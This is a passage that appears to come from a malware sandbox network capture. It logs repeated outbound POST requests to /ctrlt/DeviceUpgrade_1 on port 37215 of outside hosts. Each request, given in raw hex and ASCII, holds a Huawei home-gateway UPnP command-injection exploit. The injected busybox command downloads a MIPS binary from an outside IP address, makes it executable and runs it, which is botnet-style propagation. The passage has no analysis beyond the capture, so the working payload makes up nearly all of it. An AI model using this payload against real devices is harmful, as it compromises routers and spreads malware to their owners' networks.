73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:56.817178965 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:04.240128994 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:19.086045980 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:48.777913094 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	51712	156.247.18.93	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:49.692291021 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:51.249968052 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:53.105696917 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:56.817182064 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
